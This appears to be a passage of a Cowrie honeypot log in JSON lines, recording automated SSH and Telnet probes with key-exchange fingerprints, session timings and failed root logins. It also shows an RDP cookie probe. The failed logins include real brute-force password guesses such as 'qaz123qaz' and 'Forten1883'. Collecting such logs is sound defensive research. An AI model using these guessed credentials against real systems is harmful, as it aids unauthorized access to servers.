{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:36.419353Z","src_ip":"77.94.47.83","session":"ca10573a7e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:36.791788Z","src_ip":"77.94.47.83","session":"ca10573a7e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:37.923218Z","src_ip":"77.94.47.83","session":"ca10573a7e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.26573705673218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:42.156971Z","src_ip":"192.119.13.58","session":"0cd29abdd7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.58824968338013,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:42.764114Z","src_ip":"192.119.13.58","session":"631e3ce8db00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13649106025696,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:49.891167Z","src_ip":"192.119.13.58","session":"bdd0f0872c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54102,"dst_ip":"10.17.0.5","dst_port":23,"session":"4851a3060ed7","protocol":"telnet","message":"New connection: 192.119.13.58:54102 (10.17.0.5:23) [session: 4851a3060ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:50.836643Z"}
{"eventid":"cowrie.session.closed","duration":37.389872550964355,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:01.759429Z","src_ip":"192.119.13.58","session":"f3aa4476eb88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58858,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e233f5cf0b","protocol":"telnet","message":"New connection: 192.119.13.58:58858 (10.17.0.5:23) [session: 18e233f5cf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:05.811474Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":57994,"dst_ip":"159.203.135.109","dst_port":22,"session":"a64b8a31cad1","protocol":"ssh","message":"New connection: 103.15.222.183:57994 (159.203.135.109:22) [session: a64b8a31cad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:13.953393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:13.958487Z","src_ip":"103.15.222.183","session":"a64b8a31cad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:14.200259Z","src_ip":"103.15.222.183","session":"a64b8a31cad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:14.933065Z","src_ip":"103.15.222.183","session":"a64b8a31cad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36766,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1d963333489","protocol":"ssh","message":"New connection: 103.176.20.57:36766 (10.17.0.5:22) [session: a1d963333489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:15.359527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:15.364975Z","src_ip":"103.176.20.57","session":"a1d963333489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:15.612021Z","src_ip":"103.176.20.57","session":"a1d963333489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:16.180592Z","src_ip":"103.15.222.183","session":"a64b8a31cad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:16.367470Z","src_ip":"103.176.20.57","session":"a1d963333489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:17.615783Z","src_ip":"103.176.20.57","session":"a1d963333489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36456,"dst_ip":"10.17.0.5","dst_port":23,"session":"11c5fc3fd0f4","protocol":"telnet","message":"New connection: 192.119.13.58:36456 (10.17.0.5:23) [session: 11c5fc3fd0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:21.456784Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43094,"dst_ip":"10.17.0.5","dst_port":23,"session":"880e30c1ee7f","protocol":"telnet","message":"New connection: 192.119.13.58:43094 (10.17.0.5:23) [session: 880e30c1ee7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:30.592583Z"}
{"eventid":"cowrie.session.closed","duration":42.049567461013794,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:32.886110Z","src_ip":"192.119.13.58","session":"4851a3060ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55529,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6100a687ad8","protocol":"ssh","message":"New connection: 167.172.81.52:55529 (10.17.0.5:22) [session: f6100a687ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:33.910693Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:33.915034Z","src_ip":"167.172.81.52","session":"f6100a687ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:33.918483Z","src_ip":"167.172.81.52","session":"f6100a687ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51628,"dst_ip":"10.17.0.5","dst_port":23,"session":"4876fcb7fe15","protocol":"telnet","message":"New connection: 192.119.13.58:51628 (10.17.0.5:23) [session: 4876fcb7fe15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:40.287957Z"}
{"eventid":"cowrie.session.closed","duration":0.005151510238647461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:40.292966Z","src_ip":"192.119.13.58","session":"4876fcb7fe15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":59306,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f36f78f1cef","protocol":"ssh","message":"New connection: 103.77.175.15:59306 (10.17.0.5:22) [session: 6f36f78f1cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:41.598075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:41.603160Z","src_ip":"103.77.175.15","session":"6f36f78f1cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:41.858166Z","src_ip":"103.77.175.15","session":"6f36f78f1cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123qaz","message":"login attempt [root/qaz123qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:42.627573Z","src_ip":"103.77.175.15","session":"6f36f78f1cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:43.886924Z","src_ip":"103.77.175.15","session":"6f36f78f1cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40378,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eeafa6b8829","protocol":"telnet","message":"New connection: 192.119.13.58:40378 (10.17.0.5:23) [session: 1eeafa6b8829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:51.443115Z"}
{"eventid":"cowrie.session.closed","duration":48.59200119972229,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:54.403354Z","src_ip":"192.119.13.58","session":"18e233f5cf0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38917827606201,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:53:57.845945Z","src_ip":"192.119.13.58","session":"11c5fc3fd0f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.646732568740845,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:12.239189Z","src_ip":"192.119.13.58","session":"880e30c1ee7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55420,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd31126a234","protocol":"telnet","message":"New connection: 192.119.13.58:55420 (10.17.0.5:23) [session: 9dd31126a234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:24.214755Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.26.137.5","src_port":43116,"dst_ip":"10.17.0.5","dst_port":23,"session":"403de2081f56","protocol":"telnet","message":"New connection: 179.26.137.5:43116 (10.17.0.5:23) [session: 403de2081f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:25.542732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44710,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd775f57653","protocol":"telnet","message":"New connection: 192.119.13.58:44710 (10.17.0.5:23) [session: cdd775f57653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:28.986913Z"}
{"eventid":"cowrie.session.closed","duration":43.060311794281006,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:34.503314Z","src_ip":"192.119.13.58","session":"1eeafa6b8829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41192,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b9c9bdf0a3","protocol":"telnet","message":"New connection: 192.119.13.58:41192 (10.17.0.5:23) [session: 00b9c9bdf0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:35.134989Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.162.38","src_port":54176,"dst_ip":"10.17.0.5","dst_port":22,"session":"4924e11401bf","protocol":"ssh","message":"New connection: 64.89.162.38:54176 (10.17.0.5:22) [session: 4924e11401bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:59.578583Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:59.583215Z","src_ip":"64.89.162.38","session":"4924e11401bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.162.38","src_port":54182,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc61261c8b72","protocol":"ssh","message":"New connection: 64.89.162.38:54182 (10.17.0.5:22) [session: cc61261c8b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:59.743832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:59.748450Z","src_ip":"64.89.162.38","session":"cc61261c8b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:54:59.848971Z","src_ip":"64.89.162.38","session":"cc61261c8b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"526282","message":"login attempt [root/526282] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:00.052101Z","src_ip":"64.89.162.38","session":"cc61261c8b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:01.156879Z","src_ip":"64.89.162.38","session":"cc61261c8b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60508,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a04f4f1533d","protocol":"telnet","message":"New connection: 192.119.13.58:60508 (10.17.0.5:23) [session: 9a04f4f1533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:03.083802Z"}
{"eventid":"cowrie.session.closed","duration":42.15016579627991,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:06.364840Z","src_ip":"192.119.13.58","session":"9dd31126a234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56872,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dadf8b81d59","protocol":"ssh","message":"New connection: 194.113.233.25:56872 (159.203.135.109:22) [session: 5dadf8b81d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:08.656091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:08.661408Z","src_ip":"194.113.233.25","session":"5dadf8b81d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 